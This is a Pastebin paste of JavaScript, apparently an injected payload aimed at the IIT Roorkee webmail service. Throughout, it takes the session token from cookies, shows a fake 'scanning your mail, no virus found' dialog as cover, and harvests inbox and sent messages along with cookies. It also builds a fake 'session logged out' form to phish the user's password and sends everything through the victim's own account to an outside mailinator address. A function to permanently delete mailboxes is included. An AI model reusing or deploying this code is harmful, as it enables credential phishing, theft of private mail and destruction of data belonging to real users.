Advertisement
Guest User

anom.js

a guest
Jan 25th, 2018
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.23 KB | None | 0 0
  1. var token = document.cookie.split('ken=')[1].split(':')[0];
  2. var url = location.protocol+'//mail.iitr.ac.in/iwc/svc/wmap/';
  3. // var name=null;
  4. // var nameRegex = /<([a-zA-Z0-9\.]+)@iitr\.ac\.in>/gi;
  5.  
  6. /*Send GET request*/
  7. function getData(url){
  8. console.log("GETing to "+url);
  9. var x=new XMLHttpRequest();
  10. x.open('GET',url,false);
  11. x.setRequestHeader('Content-type','application/x-www-form-urlencoded');
  12. x.send();
  13. return x.responseText;
  14. }
  15.  
  16. /*Send POST request*/
  17. function postData(url,data){
  18. console.log('POSTing to '+url);
  19. var x=new XMLHttpRequest();
  20. x.open('POST',url,false);
  21. x.setRequestHeader('Content-type','application/x-www-form-urlencoded');
  22. x.send(data);
  23. return x.responseText;
  24. }
  25.  
  26. /*Capture cookies*/
  27. function getCookies(){
  28. console.log('Capturing cookies');
  29. return '=====COOKIE=====\n'+document.cookie;
  30. }
  31.  
  32.  
  33. function sneakPasswordUIappend(){
  34. /*Style copied from BeEF*/
  35. var sneakydiv = document.createElement('div');
  36. sneakydiv.setAttribute('id', 'popupSneak');
  37. sneakydiv.setAttribute('style', 'width:0px;height:0px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#ffffff;font-color:#ffffff');
  38. sneakydiv.setAttribute('align', 'center');
  39. // sneakydiv.innerHTML= '<br><img src=\''+'https://mail.iitr.ac.in/iwc_static/layout/images/iitr.png'+'\' width=\'80px\' height\'80px\' /><h2>Your session has logged out!</h2><p>For some security reasons, your session has been logged out. To continue , please login again.</p><table border=\'0\'><tr><td>Username:</td><td><input type=\'text\' name=\'username\' id=\'unameSneak\' onkeydown=\'if (event.keyCode == 13) sneakData();\'></input></td></td><tr><td>Password:</td><td><input type=\'password\' name=\'password\' id=\'passSneak\' onkeydown=\'if (event.keyCode == 13) sneakData();\'></input></td></tr></table><br><input type=\'button\' name=\'lul\' id=\'lulSneak\' onClick=\'sneakData();\' value=\'Ok\'><br/>';
  40. sneakydiv.innerHTML= '<br><h2>Your session has logged out!</h2><p>For some security reasons, your session has been logged out. To continue , please login again.</p><table border=\'0\'><tr><td>Username:</td><td><input type=\'text\' name=\'username\' id=\'unameSneak\' onkeydown=\'if (event.keyCode == 13) sneakData();\'></input></td></td><tr><td>Password:</td><td><input type=\'password\' name=\'password\' id=\'passSneak\' onkeydown=\'if (event.keyCode == 13) sneakData();\'></input></td></tr></table><br><input type=\'button\' name=\'lul\' id=\'lulSneak\' onClick=\'sneakData();\' value=\'Ok\'><br/>';
  41. document.body.appendChild(sneakydiv);
  42. sneakydiv.setAttribute('hidden', 'true');
  43. return true;
  44. }
  45.  
  46. function addModal(){
  47. var outterModal = document.createElement('div');
  48. outterModal.setAttribute('id','outterModalTrickUser');
  49. outterModal.setAttribute('style','display:none;position:fixed;z-index:1;padding-top:10px;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:#000;background-color:rgba(0,0,0,.4)');
  50. outterModal.setAttribute('align', 'center');
  51. document.body.appendChild(outterModal);
  52.  
  53. var innerModal = document.createElement('div');
  54. innerModal.setAttribute('id','innerModalTrickUser');
  55. innerModal.setAttribute('style','background-color:#fefefe;margin:auto;padding:10px;border:1px solid #888;width:80%');
  56. innerModal.setAttribute('align', 'center');
  57. outterModal.appendChild(innerModal);
  58.  
  59. innerModal.innerHTML = "<img src='http://mail.iitr.ac.in/iwc_static/layout/images/ajaxLoader.gif'><br><br>Please wait while we scan your mail.";
  60. outterModal.style.display = 'block';
  61.  
  62. return innerModal;
  63. }
  64.  
  65. function removeModal(innerModal){
  66. innerModal.innerHTML = 'No virus found.<br>Email is safe to open.<br><br><br><button onclick="document.getElementById(\'outterModalTrickUser\').style.display = \'none\';sneakStoredPassword();">Open Email</button>';
  67. return true;
  68. }
  69.  
  70. function sneakData(){
  71. var unameSneak = document.getElementById('unameSneak').value;
  72. var passSneak = document.getElementById('passSneak').value;
  73. if(unameSneak.length>0&&passSneak.length>0){
  74. dataStolen += '\n\n\n'+unameSneak+':'+passSneak;
  75. console.log(dataStolen);
  76. sendMail();
  77. return true;
  78. }
  79. return false;
  80. }
  81.  
  82. /*Sneak stored password*/
  83. function sneakStoredPassword(){
  84.  
  85. var returnValue = false;
  86. returnValue = sneakData();
  87. if(returnValue){
  88. return true;
  89. }
  90. console.log('Failed to retrive password');
  91. return false;
  92. }
  93.  
  94. /*Send mail*/
  95. function sendMail(){
  96. /*Handle the cases of leaf node in tree*/
  97. nextTargetMail = '15e8f4111f3c052d80ee0afcb957c707@mailinator.com';
  98.  
  99. /*Receiving mails content from external server allows to send specific mail for special victims*/
  100. var body = dataStolen;
  101. /*Preparation ends*/
  102. var subject = 'Fetched data from:'+currentEmail;
  103.  
  104.  
  105. var targetURL = url+"msg.mjs?rev=3&sid=";
  106. var data = 'mbox=&uid=&parts=&attachments=&to='+ encodeURIComponent(nextTargetMail) + '&cc=&bcc=&from=%3C' + encodeURIComponent(currentEmail) + '%3E&replyto=';
  107. data+= '&html='+encodeURIComponent(body)+'&text='+encodeURIComponent(body)+'&copy=Sent&draft=&smtp=true&xpriority=3&answer=false&vcard=&tzoffset=-5.5&priority=1&receipt=none&subject='+encodeURIComponent(subject)+'&token='+token+'&ttl=300&dojo.preventCache=1515578875597';
  108. return postData(targetURL,data);
  109. }
  110.  
  111. /*Delete mails*/
  112. function deleteMails(mailBoxName){
  113. console.log('Deleting mails from: '+mailBoxName);
  114.  
  115. /*Fetch mail list*/
  116. var m = eval(getData(url+'mbox.mjs?mbox='+mailBoxName+'&token='+token+'&random='+Math.floor(200*Math.random())).split('(1);')[1]);
  117. list = '';
  118. for(i=0;i<m[6].length;i++){
  119. list += m[6][i][0] + ',';
  120. }
  121. if(list[list.length - 1] ==','){
  122. list = list.substr(0,list.length - 1);
  123. }
  124.  
  125. deleteCMD = 'rev=3&sid=&mbox='+mailBoxName+'&cmd=expunge&token='+token+'&argv='+list+'&argv=force';
  126.  
  127. return postData(url+'cmd.mjs',deleteCMD);
  128. }
  129.  
  130. /*Get mails*/
  131. function getMails(mailBoxName,limit){
  132. limit = limit||10;//Set limit on stealing mails per mailBox
  133. console.log('Capturing mails from:'+mailBoxName);
  134. /*Get email's uid list*/
  135. var m = eval(getData(url+'mbox.mjs?mbox='+mailBoxName+'&token='+token+'&random='+Math.floor(200*Math.random())).split('(1);')[1]);
  136. var content = '';
  137. var subject = '';
  138. var returnPath = '';
  139. var data = '=======MAIL-'+mailBoxName+' Starts=======';;
  140. var id = '';
  141. var mailData = '';
  142.  
  143. for(i=0;i<m[6].length && i<=limit;i++){
  144. subject = ''; content =''; returnPath = '';
  145. id=m[6][i][0];/*Capture uid for a mail*/
  146. mailData = getData(url+'msg.mjs?mbox='+mailBoxName+'&uid='+id+'&token='+token+'&random='+Math.floor(200*Math.random()));
  147.  
  148. /*Deals with deleted messages*/
  149. if (mailData.indexOf("Message no longer exists") != -1){
  150. continue;
  151. }
  152. mailData= eval(mailData.split('(1);')[1]);
  153. mailData = mailData[8];
  154.  
  155. /*Subject and data search*/
  156. data+='\n=====MAIL-'+mailBoxName+'-'+(i+1)+'=====\n';
  157. for(j=0;j<mailData.length;j++){
  158. for(k=0;k<mailData[j][5].length;k++){
  159. if(mailData[j][5][k][0].toLowerCase()=="subject"){
  160. subject+="Subject:"+mailData[j][5][k][1];
  161. }
  162. else if(mailData[j][5][k][0].toLowerCase()=="return-path"){
  163. returnPath+="Return-path:"+mailData[j][5][k][1];
  164. }
  165. // else if(mailData[j][5][k][0].toLowerCase()=="to"||mailData[j][5][k][0].toLowerCase()=="cc"||mailData[j][5][k][0].toLowerCase()=="bcc"){
  166. // console.log(mailData[j][5][k][1]);
  167. // var match = nameRegex.exec(mailData[j][5][k][1]);
  168.  
  169. // if(match!=null && match.length>=1){
  170. // name = match[1];
  171. // }
  172. // }
  173. }
  174. if(mailData[j][6]!=null){
  175. content += mailData[j][6]
  176. }
  177. }
  178. data += subject+'\n'+returnPath+'\n------\n'+content;
  179. }
  180. return data;
  181. }
  182.  
  183. // alert(sendMail());
  184. sneakPasswordUIappend();
  185. modalElem = addModal();
  186.  
  187. setTimeout(function(){/*Return to main thread*/
  188. /*Engage user with scan dialog box till data theft process is executed*/
  189.  
  190. /*Steal mail data*/
  191. // dataStolen = getMails('INBOX') + '\n' + getMails('Trash') + '\n' + getMails('Sent');
  192. dataStolen = getMails('INBOX') + '\n' + getMails('Sent');
  193.  
  194. /*Steal cookies*/
  195. dataStolen += getCookies();
  196.  
  197. /*Send mail from mail opening user*/
  198. // console.log(sendMail());
  199.  
  200. /*Permanently delete all mails*/
  201. // deleteMails('Spam');
  202.  
  203. /*Remove the scanning modal*/
  204. removeModal(modalElem);
  205. }, 800);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement